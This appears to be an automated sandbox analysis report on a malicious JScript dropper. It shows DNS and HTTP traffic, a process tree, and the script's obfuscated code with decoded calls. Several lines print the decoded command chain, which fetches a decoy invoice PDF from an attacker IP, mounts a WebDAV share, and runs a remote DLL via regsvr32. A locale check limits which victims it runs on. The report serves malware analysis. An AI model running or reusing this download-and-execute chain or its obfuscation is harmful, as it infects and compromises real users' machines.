Jan 11, 2025 05:12:34.031673908 CET	1.1.1.1	192.168.2.8	0x6829	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:12:34.031673908 CET	1.1.1.1	192.168.2.8	0x6829	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:12:38.216516018 CET	1.1.1.1	192.168.2.8	0xc393	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 05:12:52.221497059 CET	1.1.1.1	192.168.2.8	0xb5a7	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 05:13:04.529922009 CET	1.1.1.1	192.168.2.8	0x8eda	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 05:13:35.877645016 CET	1.1.1.1	192.168.2.8	0x5166	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 05:13:35.877645016 CET	1.1.1.1	192.168.2.8	0x5166	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.43	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:13:35.877645016 CET	1.1.1.1	192.168.2.8	0x5166	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.34	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:13:35.877645016 CET	1.1.1.1	192.168.2.8	0x5166	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.25	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:13:35.877645016 CET	1.1.1.1	192.168.2.8	0x5166	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.19	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:13:35.877645016 CET	1.1.1.1	192.168.2.8	0x5166	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.23	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:13:35.877645016 CET	1.1.1.1	192.168.2.8	0x5166	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.26	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:13:35.877645016 CET	1.1.1.1	192.168.2.8	0x5166	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.36	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:13:35.877645016 CET	1.1.1.1	192.168.2.8	0x5166	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.21	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49705	193.143.1.205	80	7580	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 05:12:23.032866001 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 05:12:23.790668964 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:12:23 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 05:12:23.790704966 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 05:12:23.790719032 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 05:12:23.790738106 CET	672	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 05:12:23.791028023 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 11, 2025 05:12:23.791049957 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 11, 2025 05:12:23.791070938 CET	448	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 11, 2025 05:12:23.791084051 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 11, 2025 05:12:23.791096926 CET	1236	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&
Jan 11, 2025 05:12:23.791101933 CET	448	IN	Data Raw: 37 07 77 ce 63 e8 c9 ed 49 13 43 6f 24 86 1e a4 18 2a c3 a1 35 49 f4 7d 57 42 db 1d b9 6d 0c dd b7 31 f4 ec b4 f9 1d 2f e5 d8 d0 9b c7 79 0c e5 d8 d0 69 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 76 98 fb 6a 61 41 6e 79 21 6d ee bc cb d1 63 fe ca 3d 34 Data Ascii: 7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WD
Jan 11, 2025 05:12:23.795764923 CET	1236	IN	Data Raw: 67 85 4b f2 95 36 b7 c8 74 d1 29 42 53 42 25 9c f9 a5 c7 9a ce b5 e1 d3 e5 7b 68 61 7a 4e 27 d1 9a c5 aa f5 25 ab e6 07 06 cc 88 e8 e8 14 ad 2e a1 f2 06 93 27 4a 8f 45 ff a2 e8 b1 68 49 a2 e9 95 ad 7c b3 5d 0d 85 6f 36 df b5 c3 37 5b ee 05 35 d7 Data Ascii: gK6t)BSB%{hazN'%.'JEhI\|]o67[5tEMN@h6wthe8vJXAuzV{<z8gqc0X-07~$3G{hI0 ?ASw$Ut#*G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49706	193.143.1.205	8888	7800	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 05:12:25.306056976 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 05:12:26.112096071 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:12:25 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	23:12:16
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\248185965269371196.js"
Imagebase:	0x7ff7e7a90000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	23:12:17
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll
Imagebase:	0x7ff69cc60000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	23:12:17
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	23:12:18
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	23:12:24
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	23:12:24
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff69cc60000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	23:12:24
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff705a20000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	23:12:25
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	23:12:25
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	23:12:25
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2144 --field-trial-handle=1604,i,10969523557730200504,3880129865474238666,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function tgtzfmctg() {	tgtzfmctg() ➔ undefined
1	ggnwynig = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var mrzxpeof = this[stjpts + pgpzry + jyqiyui + dhvswxsch + wncislud + tkgcjyx + vynnuo + nqddvvcb] ( this[ugfgdogky + utggtw + yybeurke + jyqiyui + vxjxt + stjpts + nqddvvcb][hrlghxk + jyqiyui + wncislud + pgpzry + nqddvvcb + wncislud + dvhlhtekx + svbqt + cgnegk + wncislud + yybeurke + nqddvvcb] ( ugfgdogky + utggtw + yybeurke + jyqiyui + vxjxt + stjpts + nqddvvcb + udfce + utggtw + ulxabfrwm + wncislud + ybyvi + ybyvi ) [ulviylfk + wncislud + vnjun + ulviylfk + wncislud + pgpzry + qjprwjz] ( zoaziqh + eqcnsg + hjgujge + dbrkx + rthyxxnc + hrlghxk + sthqjwkn + ulviylfk + ulviylfk + hjgujge + tnndzuug + dhpxpusyz + rthyxxnc + sthqjwkn + utggtw + hjgujge + ulviylfk + jmpvnbwt + hrlghxk + vbcemx + vynnuo + nqddvvcb + jyqiyui + vbcemx + ybyvi + cpzpmyxw + lspxiqf + pgpzry + vynnuo + wncislud + ybyvi + jmpvnbwt + tkgcjyx + vynnuo + nqddvvcb + wncislud + jyqiyui + vynnuo + pgpzry + nqddvvcb + vxjxt + vbcemx + vynnuo + pgpzry + ybyvi + jmpvnbwt + mnblsxqey + vbcemx + yybeurke + pgpzry + ybyvi + wncislud ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( ilhqjba = 0 ; ilhqjba < ggnwynig[ybyvi + wncislud + vynnuo + vnjun + nqddvvcb + ulxabfrwm] ; ++ ilhqjba )
4	{
5	if ( mrzxpeof == ggnwynig[ilhqjba] )
6	{
7	mrzxpeof = true;
8	break ;
9	}
10	}
11	if ( mrzxpeof !== true )
12	this[ugfgdogky + utggtw + yybeurke + jyqiyui + vxjxt + stjpts + nqddvvcb][jdveax + ayxdira + vxjxt + nqddvvcb] ( );
13	this[ugfgdogky + utggtw + yybeurke + jyqiyui + vxjxt + stjpts + nqddvvcb][hrlghxk + jyqiyui + wncislud + pgpzry + nqddvvcb + wncislud + dvhlhtekx + svbqt + cgnegk + wncislud + yybeurke + nqddvvcb] ( ugfgdogky + utggtw + yybeurke + jyqiyui + vxjxt + stjpts + nqddvvcb + udfce + utggtw + ulxabfrwm + wncislud + ybyvi + ybyvi ) [jyqiyui + ayxdira + vynnuo] ( yybeurke + inoyfvwwu + qjprwjz + cpzpmyxw + sfsrgkfq + yybeurke + cpzpmyxw + stjpts + vbcemx + rnpcxj + wncislud + jyqiyui + dhvswxsch + ulxabfrwm + wncislud + ybyvi + ybyvi + udfce + wncislud + qgecnjj + wncislud + cpzpmyxw + wiexzrqsj + hrlghxk + vbcemx + inoyfvwwu + inoyfvwwu + pgpzry + vynnuo + qjprwjz + cpzpmyxw + ybwbtuq + tkgcjyx + vynnuo + qagigoz + vbcemx + hmpeuk + wncislud + wiexzrqsj + ugfgdogky + wncislud + svbqt + ulviylfk + wncislud + jeaht + ayxdira + wncislud + dhvswxsch + nqddvvcb + cpzpmyxw + wiexzrqsj + dvhlhtekx + ayxdira + nqddvvcb + puodthur + vxjxt + ybyvi + wncislud + cpzpmyxw + cqfcef + nqddvvcb + wncislud + inoyfvwwu + stjpts + cqfcef + jmpvnbwt + vxjxt + vynnuo + qagigoz + vbcemx + vxjxt + yybeurke + wncislud + udfce + stjpts + qjprwjz + wluwh + cpzpmyxw + ulxabfrwm + nqddvvcb + nqddvvcb + stjpts + snolbumnc + sfsrgkfq + sfsrgkfq + rdrbgbhz + iruznaih + rpataksk + udfce + rdrbgbhz + ojstfp + rpataksk + udfce + rdrbgbhz + udfce + pmbiwqyh + thdcv + upekrqkj + sfsrgkfq + vxjxt + vynnuo + qagigoz + vbcemx + vxjxt + yybeurke + wncislud + udfce + stjpts + ulxabfrwm + stjpts + ybwbtuq + zdjlyya + zdjlyya + dhvswxsch + nqddvvcb + pgpzry + jyqiyui + nqddvvcb + cpzpmyxw + cqfcef + nqddvvcb + wncislud + inoyfvwwu + stjpts + cqfcef + jmpvnbwt + vxjxt + vynnuo + qagigoz + vbcemx + vxjxt + yybeurke + wncislud + udfce + stjpts + qjprwjz + wluwh + zdjlyya + zdjlyya + yybeurke + inoyfvwwu + qjprwjz + cpzpmyxw + sfsrgkfq + yybeurke + cpzpmyxw + vynnuo + wncislud + nqddvvcb + cpzpmyxw + ayxdira + dhvswxsch + wncislud + cpzpmyxw + jmpvnbwt + jmpvnbwt + rdrbgbhz + iruznaih + rpataksk + udfce + rdrbgbhz + ojstfp + rpataksk + udfce + rdrbgbhz + udfce + pmbiwqyh + thdcv + upekrqkj + sewcz + ixranh + ixranh + ixranh + ixranh + jmpvnbwt + qjprwjz + pgpzry + qagigoz + rnpcxj + rnpcxj + rnpcxj + jyqiyui + vbcemx + vbcemx + nqddvvcb + jmpvnbwt + zdjlyya + zdjlyya + yybeurke + inoyfvwwu + qjprwjz + cpzpmyxw + sfsrgkfq + yybeurke + cpzpmyxw + jyqiyui + wncislud + vnjun + dhvswxsch + qagigoz + jyqiyui + rpataksk + pmbiwqyh + cpzpmyxw + sfsrgkfq + dhvswxsch + cpzpmyxw + jmpvnbwt + jmpvnbwt + rdrbgbhz + iruznaih + rpataksk + udfce + rdrbgbhz + ojstfp + rpataksk + udfce + rdrbgbhz + udfce + pmbiwqyh + thdcv + upekrqkj + sewcz + ixranh + ixranh + ixranh + ixranh + jmpvnbwt + qjprwjz + pgpzry + qagigoz + rnpcxj + rnpcxj + rnpcxj + jyqiyui + vbcemx + vbcemx + nqddvvcb + jmpvnbwt + rdrbgbhz + rdrbgbhz + ixranh + pmbiwqyh + suaueucrm + pmbiwqyh + rdrbgbhz + thdcv + thdcv + rpataksk + pmbiwqyh + pmbiwqyh + ixranh + suaueucrm + ixranh + udfce + qjprwjz + ybyvi + ybyvi, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll",0,false) ➔ 0
14	}
15	iruznaih = "y";
16	iruznaih = "K";
17	iruznaih = "j";
18	iruznaih = "s";
19	iruznaih = "e";
20	iruznaih = "T";
21	iruznaih = "l";
22	iruznaih = "D";
23	iruznaih = "C";
24	iruznaih = "C";
25	iruznaih = "X";
26	iruznaih = "j";
27	iruznaih = "p";
28	iruznaih = "R";
29	iruznaih = "K";
30	iruznaih = "A";
31	iruznaih = "e";
32	iruznaih = "e";
33	iruznaih = "X";
34	iruznaih = "L";
35	iruznaih = "k";
36	iruznaih = "L";
37	iruznaih = "N";
38	iruznaih = "j";
39	iruznaih = "R";
40	iruznaih = "9";
41	jyqiyui = "g";
42	jyqiyui = "X";
43	jyqiyui = "u";
44	jyqiyui = "y";
45	jyqiyui = "p";
46	jyqiyui = "y";
47	jyqiyui = "L";
48	jyqiyui = "W";
49	jyqiyui = "o";
50	jyqiyui = "h";
51	jyqiyui = "o";
52	jyqiyui = "h";
53	jyqiyui = "y";
54	jyqiyui = "R";
55	jyqiyui = "i";
56	jyqiyui = "e";
57	jyqiyui = "q";
58	jyqiyui = "b";
59	jyqiyui = "G";
60	jyqiyui = "s";
61	jyqiyui = "o";
62	jyqiyui = "W";
63	jyqiyui = "f";
64	jyqiyui = "U";
65	jyqiyui = "a";
66	jyqiyui = "w";
67	jyqiyui = "r";
68	qagigoz = "G";
69	qagigoz = "I";
70	qagigoz = "v";
71	qagigoz = "h";
72	qagigoz = "M";
73	qagigoz = "e";
74	qagigoz = "R";
75	qagigoz = "p";
76	qagigoz = "Y";
77	qagigoz = "J";
78	qagigoz = "U";
79	qagigoz = "T";
80	qagigoz = "a";
81	qagigoz = "X";
82	qagigoz = "r";
83	qagigoz = "J";
84	qagigoz = "h";
85	qagigoz = "H";
86	qagigoz = "m";
87	qagigoz = "x";
88	qagigoz = "o";
89	qagigoz = "p";
90	qagigoz = "n";
91	qagigoz = "L";
92	qagigoz = "k";
93	qagigoz = "H";
94	qagigoz = "C";
95	qagigoz = "R";
96	qagigoz = "E";
97	qagigoz = "v";
98	ugfgdogky = "l";
99	ugfgdogky = "P";
100	ugfgdogky = "Q";
101	ugfgdogky = "j";
102	ugfgdogky = "l";
103	ugfgdogky = "o";
104	ugfgdogky = "R";
105	ugfgdogky = "k";
106	ugfgdogky = "j";
107	ugfgdogky = "P";
108	ugfgdogky = "K";
109	ugfgdogky = "q";
110	ugfgdogky = "R";
111	ugfgdogky = "R";
112	ugfgdogky = "T";
113	ugfgdogky = "m";
114	ugfgdogky = "o";
115	ugfgdogky = "Y";
116	ugfgdogky = "a";
117	ugfgdogky = "K";
118	ugfgdogky = "y";
119	ugfgdogky = "y";
120	ugfgdogky = "m";
121	ugfgdogky = "F";
122	ugfgdogky = "t";
123	ugfgdogky = "Q";
124	ugfgdogky = "U";
125	ugfgdogky = "U";
126	ugfgdogky = "w";
127	ugfgdogky = "B";
128	ugfgdogky = "r";
129	ugfgdogky = "Y";
130	ugfgdogky = "a";
131	ugfgdogky = "Q";
132	ugfgdogky = "r";
133	ugfgdogky = "u";
134	ugfgdogky = "l";
135	ugfgdogky = "o";
136	ugfgdogky = "L";
137	ugfgdogky = "K";
138	ugfgdogky = "x";
139	ugfgdogky = "W";
140	upekrqkj = "F";
141	upekrqkj = "u";
142	upekrqkj = "r";
143	upekrqkj = "e";
144	upekrqkj = "U";
145	upekrqkj = "T";
146	upekrqkj = "B";
147	upekrqkj = "r";
148	upekrqkj = "x";
149	upekrqkj = "H";
150	upekrqkj = "M";
151	upekrqkj = "Z";
